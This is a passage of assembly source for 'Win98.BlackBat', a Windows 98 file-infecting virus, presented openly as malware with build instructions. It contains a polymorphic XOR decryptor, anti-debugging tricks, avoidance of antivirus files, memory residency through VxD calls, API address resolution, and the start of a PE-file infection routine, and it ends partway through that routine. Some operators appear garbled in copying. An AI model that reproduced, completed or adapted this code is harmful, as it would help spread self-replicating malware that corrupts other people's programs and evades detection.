;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | |/ Win98.BlackBat |/ | |
;| | (. .) ================ (. .) | |
;| | ( | ) ( | ) | |
;| | ( v ) (c) 1999, Rohitab Batra ( v ) | |
;| | | | software@rohitab.com | | | |
;| | // \ ICQ: 11153794 // \ | |
;| | // ^ ^ \ | |
;| | ((====> http://www.rohitab.com <=====)) | | ;| | | | ;| |”Blessed is he who expects nothing, for he shall not be disappointed” | | ;| | | | ;| +————————————————————————+ | ;+—————————————————————————-+ ; ;Compiling (Turbo Assembler) ; c:>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat ; ;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error ;message will be displayed, so that you don’t accidently compile in release mode. ;In Release mode, the size of the Virus will be smaller, and .EXE files will be ;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found ;in the current directory, will be infected. ; ;Linking (Turbo Linker) ; c:>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB ; ;Making Code Section Writable (EditBin from SDK, or any other utility) ; c:>editbin /SECTION:CODE,w BlackBat.EXE ; ; Info About the Virus ;* If WIN.SYS is found in the root directory, the virus does not infect any file, ; and does not become resident. ;* File time and attributes are restored after infection ;* Encrypted with a random key ;* Doesn’t infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT ;* Anti-Debugging Code ;* Structured Exception Handling ;* Decryption engine is Polymorphic ; ; TODO ;1. Dont infect files with todays date ;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel) ;3. Doesn’t infect files in directories with long file names .386p .model flat ,stdcall EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first ;generation copy executes without crashing .data DB ? ;Required for TASM, Else will Crash !!?? ;+—————————————————————————-+ ;| +————————————————————————+ | ;| | | | ;| | @MESSAGE_BOX Macro | | ;| | | | ;| +————————————————————————+ | ;+—————————————————————————-+ ; Description ; -> Displays a MessageBox with the given Message. Note the caption of
; the MessageBox is the same as the Message
;
; Arguments
; -> szMessage: Message to be displayed
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> ALL
;_______________
@MESSAGE_BOX MACRO szMessage
IF DEBUG
@DELTA esi
mov eax, esi
add eax, offset szMessage
call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
ENDIF
ENDM
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | @DEFINE_API Macro | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Defines an API that will be called by the Virus. The macro is expanded
; to the following, if APIName is MessageBoxA:
; szMessageBoxA DB “MessageBoxA”, 0
; MessageBoxA DD ?
;
; Arguments
; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
; the DLL. e.g. MessageBoxA
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> None
;
;____________
@DEFINE_API MACRO APIName
sz&APIName DB “&APIName”, 0 ;;ASCIIZ Name of API
&APIName DD ? ;;Storage space for API Address
ENDM
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | @DELTA Macro | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Returns the delta offset in the specified register
;
; Arguments
; -> Register: register in which the value of the delta offset is copied
;
; Return Value:
; -> Register: Delta Offset
;
; Registers Destroyed
; -> Register
;
;________
@DELTA MACRO Register
LOCAL GetIP
call GetIP ;;This will push EIP on the stack
GetIP:
pop Register ;;get EIP of current instruction
sub Register, offset GetIP ;;Delta Offset
ENDM
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | @OFFSET Macro | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Returns the true offset of the specified address. Unlike the offset
; keyword, which calculates the address at assembly time, this macro
; calculates the address at run-time. This is used to get the correct
; offset when the virus has been relocated. Instead of using instructions
; like “mov esi, offset szFilename”, use “@OFFSET esi, szFilename”
;
; Arguments
; -> Register: register in which the offset is to be returned
; -> Expression: expression whose offset is required
;
; Return Value:
; -> Register: Correct offset of Expression
;
; Registers Destroyed
; -> Register
;
;_____________________
@OFFSET MACRO Register, Expression
LOCAL GetIP
call GetIP ;;This will push EIP on the stack
GetIP:
pop Register ;;get EIP of current instruction
add Register, offset Expression – offset GetIP ;;True offset
ENDM
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | @GET_API_ADDRESS Macro | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Gets the address of the API, and stores it
;
; Arguments
; -> APIName: API whose address is required
; -> ESI: Delta Offset
; -> EBX: Address of GetProcAddress(…)
; -> ECX: Base address of DLL which exports the API
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All Except ESI, EBX and ECX
;
;_________________
@GET_API_ADDRESS MACRO APIName
push ebx ;;Save Addr of GetProcAddress(…)
push ecx ;;Save Image Base
mov eax, esi
add eax, offset sz&APIName ;;API whose address is required
call ebx, ecx, eax ;;GetProcAddress(…)
pop ecx ;;Restore Image Base
pop ebx ;;Restore Addr of GetProcAddress(…)
mov [esi + APIName], eax ;;Save API Address
ENDM
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> @TRY_BEGIN: This macro is used to install the exception handler. The
; code that follows this is the one that is checked for
; exceptions
; @TRY_EXCEPT: The code that follows this is executed if an exception
; occurs.
; @TRY_END: This is used to mark the end of the TRY block
;
; Example
; @TRY_BEGIN ZeroMemory
;
; @TRY_CATCH ZeroMemory
;
; @TRY_END ZeroMemory
;
; Arguments
; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
; program
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> If an exception occurs, all registers are restored to the state before
; the @TRY_BEGIN block, otherwise, no registers are modified
;___________
@TRY_BEGIN MACRO Handler
pushad ;;Save Current State
@OFFSET esi, Handler ;;Address of New Exception Handler
push esi
push dword ptr fs:[0] ;;Save Old Exception Handler
mov dword ptr fs:[0], esp ;;Install New Handler
ENDM
@TRY_EXCEPT MACRO Handler
jmp NoException&Handler ;;No Exception Occured, so jump over
Handler:
mov esp, [esp + 8] ;;Exception Occured, Get old ESP
pop dword ptr fs:[0] ;;Restore Old Exception Handler
add esp, 4 ;;ESP value before SEH was set
popad ;;Restore Old State
ENDM
@TRY_END MACRO Handler
jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT
NoException&Handler: ;;No Exception Occured
pop dword ptr fs:[0] ;;Restore Old Exception Handler
add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and …
;;…4 for push offset Handler. (No Restore State)
ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured
ENDM
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | @CALL_INT21h Macro | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Makes an INT 21h Call in Protected Mode
;
; Arguments
; -> Service: INT 21h Service Number
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> Depends on Service called
;_____________
@CALL_INT21h MACRO Service
mov eax, Service ;;INT 21h Service
@DELTA esi
call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
ENDM
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | Constants | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
;Win32 Constants
PAGE_READWRITE EQU 00000004h
IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h
IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable
IMAGE_FILE_DLL EQU 2000h ;File is a DLL
FILE_MAP_ALL_ACCESS EQU 000F001Fh
IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes
NULL EQU 0
TRUE EQU 1
FALSE EQU 0
;File Access
GENERIC_READ EQU 80000000h ;Access Mode Read Only
GENERIC_WRITE EQU 40000000h ;Access Mode Write Only
FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write
FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read
INVALID_HANDLE_VALUE EQU -1
ERROR_ALREADY_EXISTS EQU 000000B7h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
OPEN_EXISTING EQU 3 ;Fail if not found
;Shutdown Options
EWX_FORCE EQU 4
EWX_SHUTDOWN EQU 1
;MessageBox
MB_OK EQU 00000000h
MB_YESNO EQU 00000004h
MB_ICONINFORMATION EQU 00000040h
;Virus_Constants
@BREAK EQU int 3
;MAX_RUN_TIME EQU 560601000 ;Time we allow windows to run, 5hrs VIRUS_SIGNATURE EQU 08121975h ;My B’day, 8 Dec 1975 RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident ;VxD Stuff VWIN32_Int21Dispatch EQU 002A0010h LFN_OPEN_FILE_EXTENDED EQU 716Ch PC_WRITEABLE EQU 00020000h PC_USER EQU 00040000h PR_SHARED EQU 80060000h PC_PRESENT EQU 80000000h PC_FIXED EQU 00000008h PD_ZEROINIT EQU 00000001h SHARED_MEMORY EQU 80000000h ;Anything above this is shared PageReserve EQU 00010000h PageCommit EQU 00010001h PAGE_SIZE EQU 4096 ;Size of a Page in Win9x ;+—————————————————————————-+ ;| +————————————————————————+ | ;| | | | ;| | Structures | | ;| | | | ;| +————————————————————————+ | ;+—————————————————————————-+ FILETIME STRUC FT_dwLowDateTime DD ? FT_dwHighDateTime DD ? FILETIME ENDS IMAGE_DOS_HEADER STRUC ;DOS .EXE header IDH_e_magic DW ? ;Magic number IDH_e_cblp DW ? ;Bytes on last page of file IDH_e_cp DW ? ;Pages in file IDH_e_crlc DW ? ;Relocations IDH_e_cparhdr DW ? ;Size of header in paragraphs IDH_e_minalloc DW ? ;Minimum extra paragraphs needed IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed IDH_e_ss DW ? ;Initial (relative) SS value IDH_e_sp DW ? ;Initial SP value IDH_e_csum DW ? ;Checksum IDH_e_ip DW ? ;Initial IP value IDH_e_cs DW ? ;Initial (relative) CS value IDH_e_lfarlc DW ? ;File address of relocation table IDH_e_ovno DW ? ;Overlay number IDH_e_res DW 4 DUP (?) ;Reserved words IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo) IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific IDH_e_res2 DW 10 DUP (?) ;Reserved words IDH_e_lfanew DD ? ;File address of new exe header IMAGE_DOS_HEADER ENDS IMAGE_FILE_HEADER STRUC IFH_Machine DW ? ;System that the binary is intended to run on IFH_NumberOfSections DW ? ;Number of sections that follow headers IFH_TimeDateStamp DD ? ;Time/Date the file was created on IFH_PointerToSymbolTable DD ? ;Used for debugging information IFH_NumberOfSymbols DD ? ;Used for debugging information IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER) IFH_Characteristics DW ? ;Flags used mostly for libraries IMAGE_FILE_HEADER ENDS IMAGE_DATA_DIRECTORY STRUC IDD_VirtualAddress DD ? IDD_Size DD ? IMAGE_DATA_DIRECTORY ENDS IMAGE_OPTIONAL_HEADER STRUC ;Standard Fields IOH_Magic DW ? ;Mostly 0x010B IOH_MajorLinkerVersion DB ? ;Version of the linker used IOH_MinorLinkerVersion DB ? ;Version of the linker used IOH_SizeOfCode DD ? ;Size of executable code IOH_SizeOfInitializedData DD ? ;Size of Data Segment IOH_SizeOfUninitializedData DD ? ;Size of bss Segment IOH_AddressOfEntryPoint DD ? ;RVA of code entry point IOH_BaseOfCode DD ? ;Offset to executable code IOH_BaseOfData DD ? ;Offset to initialized data ;NT Additional Fields IOH_ImageBase DD ? ;Preferred load address IOH_SectionAlignment DD ? ;Alignment of Sections in RAM IOH_FileAlignment DD ? ;Alignment of Sections in File IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image IOH_MajorImageVersion DW ? ;User specified version number IOH_MinorImageVersion DW ? ;User specified version number IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version IOH_Win32VersionValue DD ? ;Mostly set to 0 IOH_SizeOfImage DD ? ;Amount of memory the image will need IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers) IOH_Subsystem DW ? ;Subsystem required to run this image IOH_DllCharacteristics DW ? ;To decide when to call DLL’s entry point IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack IOH_SizeOfStackCommit DD ? ;Size of initially commited stack IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap IOH_LoaderFlags DD ? ;Not generally used IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?) IMAGE_OPTIONAL_HEADER ENDS IMAGE_EXPORT_DIRECTORY STRUC IED_Characteristics DD ? ;Currently set to 0 IED_TimeDateStamp DD ? ;Time/Date the export data was created IED_MajorVersion DW ? ;User settable IED_MinorVersion DW ? IED_Name DD ? ;RVA of DLL ASCIIZ name IED_Base DD ? ;First valid exported ordinal IED_NumberOfFunctions DD ? ;Number of entries IED_NumberOfNames DD ? ;Number of entries exported by name IED_AddressOfFunctions DD ? ;RVA of export address table IED_AddressOfNames DD ? ;RVA of export name table pointers IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry IMAGE_EXPORT_DIRECTORY ENDS IMAGE_SECTION_HEADER STRUC ISH_Name DB 8 DUP (?) ;NULL padded ASCII string UNION ISH_PhysicalAddress DD ? ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded ENDS ISH_VirtualAddress DD ? ;RVA to section’s data when loaded in RAM ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment ISH_PointerToRawData DD ? ;Offset from files beginning to sections data ISH_PointerToRelocations DD ? ISH_PointerToLinenumbers DD ? ISH_NumberOfRelocations DW ? ISH_NumberOfLinenumbers DW ? ISH_Characteristics DD ? ;Flags to decide how section should be treated IMAGE_SECTION_HEADER ENDS SYSTEMTIME STRUC ST_wYear DW ? ST_wMonth DW ? ST_wDayOfWeek DW ? ST_wDay DW ? ST_wHour DW ? ST_wMinute DW ? ST_wSecond DW ? ST_wMilliseconds DW ? SYSTEMTIME ENDS ;+—————————————————————————-+ ;| +————————————————————————+ | ;| | | | ;| | Virus Entry Point | | ;| | | | ;| +————————————————————————+ | ;+—————————————————————————-+ .code ;Decryptor StartOfVirusCode: call GetDelta GetDelta: DB 5Eh ;pop esi DB 83h ;add esi, EncryptedVirusCode – GetDelta DB 0C6h DB offset EncryptedVirusCode – offset GetDelta DB 0B9h ;mov ecx, ENCRYPTED_SIZE DD ENCRYPTED_SIZE DecryptByte: DB 80h ;xor byte ptr [esi], 00h DB 36h EncryptionKey: DB 00h DB 46h ;inc esi DB 49h ;dec ecx jnz DecryptByte EncryptedVirusCode: ;Code from this point is encrypted jmp WinMain ;Goto Main Program ;+—————————————————————————-+ ;| +————————————————————————+ | ;| | | | ;| | Data Area | | ;| | | | ;| +————————————————————————+ | ;+—————————————————————————-+ dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL dwUserBase DD ? ;Base address of USER32.DLL szUser32DLL DB “USER32”, 0 ;.DLL Extention is not required ;Host File Variables hHostFile DD ? ;Handle of host file hMappedFile DD ? ;Handle of mapped host file lpHostFile DD ? ;Pointer to mapped host file in memory ftLastAccessTime FILETIME ? ;Time the file was last accessed ftLastWriteTime FILETIME ? ;Time the file was last written to dwFileAttributes DD ? ;File attributes of host file ;Virus Variables szNoInfectFileName DB “C:\WIN.SYS”, 0 ;If this file exists, machine is not infected ;VxD Stuff OldInt30 DB 6 DUP (0) VxDCall_Busy DB ? ;Semaphore szOutputFile DB “C:\VIRUS.TXT”, 0 ;KERNEL32 API’s VxDCall DD ? ;Exported by ordinal only (Ord 1) @DEFINE_API GetProcAddress @DEFINE_API CloseHandle @DEFINE_API CreateFileA @DEFINE_API CreateFileMappingA @DEFINE_API GetFileAttributesA @DEFINE_API GetFileSize @DEFINE_API GetFileTime @DEFINE_API GetLocalTime @DEFINE_API GetTickCount @DEFINE_API LoadLibraryA @DEFINE_API MapViewOfFile @DEFINE_API SetFileAttributesA @DEFINE_API SetFileTime @DEFINE_API UnmapViewOfFile ;USER32 API’s @DEFINE_API ExitWindowsEx IF DEBUG @DEFINE_API MessageBoxA ENDIF ;DEBUG Only Stuff IF DEBUG szHostFileName DB “NOTEPAD.EXE”,0 szWinMainHandler DB “Unhandled Exception in WinMain”, 0 szPayLoad DB “Happy BirthDay :-)”, 0 szInfected DB “This File is Infected by the BlackBat Virus”, 0 ENDIF ;+—————————————————————————-+ ;| +————————————————————————+ | ;| | | | ;| | WinMain | | ;| | | | ;| +————————————————————————+ | ;+—————————————————————————-+ WinMain PROC IFE DEBUG ;Only for Release Versions cli not esp ;Anti-Debug Code … not esp ;…will crash if single-stepped sti ENDIF @TRY_BEGIN WinMain_Handler ;Putting code in protected block call IsVirusActive test eax, eax ;Virus Resident ? jne End_WinMain ;Yes, return to host ;Get Addresses of all Required API’s call GetAPIAddresses ;Get the addresses of the other API’s test eax, eax ;Error occured ? jz End_WinMain ;Transfer control to host IF DEBUG @MESSAGE_BOX szInfected @OFFSET ebx, szHostFileName call InfectFile, ebx ENDIF ;Check if this Machine is to be Infected call CanMachineBeInfected ;Is this my machine test eax, eax jz End_WinMain ;Yes, so don’t infect ;Relocate Virus (Make Resident) call RelocateVirus or eax, eax ;Virus Relocated? je End_WinMain ;No ;Jump to Relocated Virus Copy @OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy add eax, offset RelocatedVirus – offset StartOfVirusCode jmp eax ;Control will go to Relocated Copy ;This part is the Relocated Copy of the Virus in Shared Memory RelocatedVirus: ;When a file is infected, the CALL instruction at label ReturnToHost is ;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated, ;this JMP instruction will point to some invalid location. We need to modify ;this, so that the JMP points to the host program (which was not relocated) ;The offset of Calculate_Offset_Instruction in the non-relocated virus was ;saved in EBX before jumping here. Now we calculate the offset in the relocated ;virus (this copy). @DELTA eax mov esi, eax ;Save Delta Offset add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy sub eax, ebx ;Difference in offsets ;We now subtract this difference from the offset specified in the JMP ;instruction, and update the JMP instruction to point to the correct location ;in memory add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction sub [esi], eax ;Fix JMP instruction call InstallHookProcedure End_WinMain: @TRY_EXCEPT WinMain_Handler @MESSAGE_BOX szWinMainHandler @TRY_END WinMain_Handler ReturnToHost: DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control ;to the host. The address of this JMP ;instruction is calculated at run-time ;ret ;Not required, since control is transfered to host WinMain ENDP ;+—————————————————————————-+ ;| +————————————————————————+ | ;| | | | ;| | GetAPIAddresses | | ;| | | | ;| +————————————————————————+ | ;+—————————————————————————-+ ; Description ; -> Finds the Address of the API’s to be used by the virus ; ; Arguments ; -> None ; ; Return Value: ; -> EAX: 1, if the API addresses were found, 0 otherwise ; ; Registers Destroyed ; -> All ;_______
GetAPIAddresses PROC
call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress
test eax, eax ;Found Address ?
jz End_GetAPIAddresses ;No, Return 0
;Get addresses of all required KERNEL32 API’s
;ESI = Delta Offset
;EBX = Address of GetProcAddress(…)
;ECX = Image Base of KERNEL32.DLL
@DELTA esi
mov ebx, eax ;Address of GetProcAddress(…)
mov ecx, dwKernelBase ;Base address of KERNEL32.DLL
@GET_API_ADDRESS CloseHandle
@GET_API_ADDRESS CreateFileA
@GET_API_ADDRESS CreateFileMappingA
@GET_API_ADDRESS GetFileAttributesA
@GET_API_ADDRESS GetFileSize
@GET_API_ADDRESS GetFileTime
@GET_API_ADDRESS GetLocalTime
@GET_API_ADDRESS GetTickCount
@GET_API_ADDRESS LoadLibraryA
@GET_API_ADDRESS MapViewOfFile
@GET_API_ADDRESS SetFileAttributesA
@GET_API_ADDRESS SetFileTime
@GET_API_ADDRESS UnmapViewOfFile
;Load USER32.DLL
push ebx ;Save address of GetProcAddress(…)
mov eax, esi ;Delta Offset
add eax, offset szUser32DLL ;Name of DLL to be loaded
call esi + LoadLibraryA, eax
mov ecx, eax ;Base address of USER32.DLL
pop ebx ;Restore address of GetProcAddress(…)
;Get addresses of all required USER32 API’s
;ESI = Delta Offset
;EBX = Address of GetProcAddress(…)
;ECX = Image Base of USER32.DLL
@GET_API_ADDRESS ExitWindowsEx
IF DEBUG
@GET_API_ADDRESS MessageBoxA
ENDIF
End_GetAPIAddresses:
ret
GetAPIAddresses ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | GetAddressOfKernelAPI | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
; VxDCall API is exported by ordinal only, and the GetProcAddress is
; exported by name.
;
; Arguments
; -> EDX: offset of the program <—- NOT USED ANYMORE ??? ; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
; of GetProcAddress is returned.
;
; Return Value:
; -> EAX: Address of the Required API if Found, Else NULL
;
; Registers Destroyed
; -> All
;__________________
GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
LOCAL lpdwAddressOfFunctions:DWORD, \
lpdwAddressOfNames:DWORD, \
lpwAddressOfNameOrdinals: WORD, \
dwVAIED:DWORD
;Get File Headers
call GetFileHeaders, dwKernelBase
test eax, eax ;Successfully Retreived Headers?
je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000
mov [dwVAIED], edx
mov esi, dwKernelBase
;Get Address of Functions
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
add eax, esi ;VA of Address of functions
mov dword ptr [lpdwAddressOfFunctions], eax
;Check which API is Required
cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ?
jne GetProcAddressRequired ;GetProcAddress
;Get Address of VxDCall API (Ordinal 1)
xor eax, eax
inc eax ;Ordinal Reqd = 1
sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array
jmp GetAddressFromIndex
GetProcAddressRequired:
;Get Address of Names
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
add eax, esi ;VA of Address of Names
mov dword ptr [lpdwAddressOfNames], eax
;Get Address of Name ordinals
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
add eax, esi ;VA of Add of Name Ordinals
mov dword ptr [lpwAddressOfNameOrdinals], eax
;Find the API index in the AddressOfNames array
push esi ;Save the base address of KERNEL32
mov eax, esi ;Also save in EAX
xor ebx, ebx
dec ebx ;Initialize Index to -1
mov edx, dword ptr [lpdwAddressOfNames]
@OFFSET esi, szGetProcAddress ;API to be found
mov ecx, esi ;Save address in ECX
CheckNextAPI:
inc ebx ;increment index
mov edi, dword ptr [edx + ebx4] ;go the the ebx’th index
add edi, eax ;get the VA from the RVA
mov esi, ecx ;get address stored previously
CheckNextByte:
cmpsb ;Check Byte
jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One
cmp byte ptr [edi], 0 ;Have we reached the end-of-string
je FoundAPI ;Yes? We’ve found the API
jmp CheckNextByte ;No, Check the next byte
FoundAPI:
;EBX contains the index of the function into the array
pop esi ;Get the base address of KERNEL32
;Compute the Index
mov ecx, ebx
mov edx, dword ptr [lpwAddressOfNameOrdinals]
movzx eax, word ptr [edx + ecx2] ;Index ;Get the Address (EAX = Index, ESI = Kernel32 Base) GetAddressFromIndex: mov ebx, [lpdwAddressOfFunctions] mov eax, dword ptr [ebx + eax4] ;RVA of the API
add eax, esi ;VA of the API
End_GetAddressOfKernelAPI:
ret
GetAddressOfKernelAPI ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | OpenAndMapFile | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Opens a file from disk, and maps it into memory. The function also
; saves the file modified time and file attributes before opening the
; file. These are later restored by UnmapAndCloseFile
;
; Arguments
; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
;
; Return Value:
; -> EAX: Starting address of memory where the file has been mapped, or 0
; if an error occured
; -> ECX: Original File Size
;
; Registers Destroyed
; -> All
;___________________________________________________
OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
@DELTA esi
;Save File Attributes, and Clear all attributes
call esi + GetFileAttributesA, oamf_szFileName
mov [esi + dwFileAttributes], eax ;Save File Attributes
call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
test eax, eax ;File Attributes Set ?
je End_OpenAndMapFile ;No, Return 0
;Open the file in R/W mode
call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
je Error_OpenAndMapFile_Create ;No
mov [esi + hHostFile], eax ;Yes, Save handle of host file
;Get and Store File Time
lea ebx, [esi + ftLastAccessTime]
lea ecx, [esi + ftLastWriteTime]
call esi + GetFileTime, eax, NULL, ebx, ecx
;Compute the new file size
call esi + GetFileSize, [esi + hHostFile], NULL
add eax, [oamf_dwAddBytes] ;Compute New File Size
;Map the file
call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
0, eax, NULL
test eax, eax ;File Mapping Created
jz Error_OpenAndMapFile_Mapping ;No
mov [esi + hMappedFile], eax ;Yes, Save Handle
;Map View of the File
call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
mov [esi + lpHostFile], eax ;Have to save Mapped Address
test eax, eax ;File Mapped Successfully ?
jnz End_OpenAndMapFile ;Yes
;Error Occured, Close Files, and Restore Attributes
call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping
Error_OpenAndMapFile_Mapping:
call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File
Error_OpenAndMapFile_Create:
call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
xor eax, eax ;Error, Return 0
End_OpenAndMapFile:
ret
OpenAndMapFile ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | UnmapAndCloseFile | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Unmaps the open file and closes the handles associated with it. It
; also restores the original file attributes and file time.
;
; Arguments
; -> uacf_szFilename: Name of the file that is being unmapped. This is
; used only to restore the file attributes
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All
;_________
UnmapAndCloseFile PROC uacf_szFilename:DWORD
;Unmap File
@DELTA esi
call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File
call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping
;Restore File Time
lea eax, [esi + ftLastAccessTime]
lea ebx, [esi + ftLastWriteTime]
call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
;Close File
call esi + CloseHandle, [esi + hHostFile] ;Close the File
;Restore File Attributes
call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
ret
UnmapAndCloseFile ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | InfectFile | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Infects the host file with our virus
;
; Arguments
; -> DWORD if_szFileName: Address of the file to be infected
; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
;
; Return Value:
; -> EAX: 1 if Infected, 0 on Error
;
; Registers Destroyed
; -> All
;______________________
InfectFile PROC if_szFileName:DWORD
LOCAL lpdwLastSection:DWORD, \
dwVirusBegin:DWORD, \
dwNewEntryRVA:DWORD, \
dwJumpBytes:DWORD, \
dwIOH:DWORD, \
dwIncFileSize:DWORD, \
dwIncSecSize:DWORD, \
dwDeltaOffset:DWORD
@DELTA esi
mov [dwDeltaOffset], esi ;Save Delta Offset
;Check if the file can be infected, or not
call CanFileBeInfected, if_szFileName
test eax, eax ;Can it be infected
jz End_InfectFile ;No
mov [dwIncFileSize], ebx ;Save Increase in File Size
mov [dwIncSecSize], ecx ;Save Increase in Section Size
;Map Host File into Memory
call OpenAndMapFile, if_szFileName, dwIncFileSize
test eax, eax ;File Opened and Mapped Successfully
jz End_InfectFile ;No, Return Code = 0
mov esi, [dwDeltaOffset]
mov [esi + lpHostFile], eax ;Save staring address of file
;Get File Headers
call GetFileHeaders, eax ;This should not fail, since its already…
mov [dwIOH], ebx ;…called once in CanFileBeInfected
mov [lpdwLastSection], ecx
;Calculate the Starting of Virus Code in File
mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
mov [dwVirusBegin], eax ;RVA of New Entry Point in File
;Calculate RVA of New Entry Point
mov ebx, [lpdwLastSection]
sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
mov [dwNewEntryRVA], eax
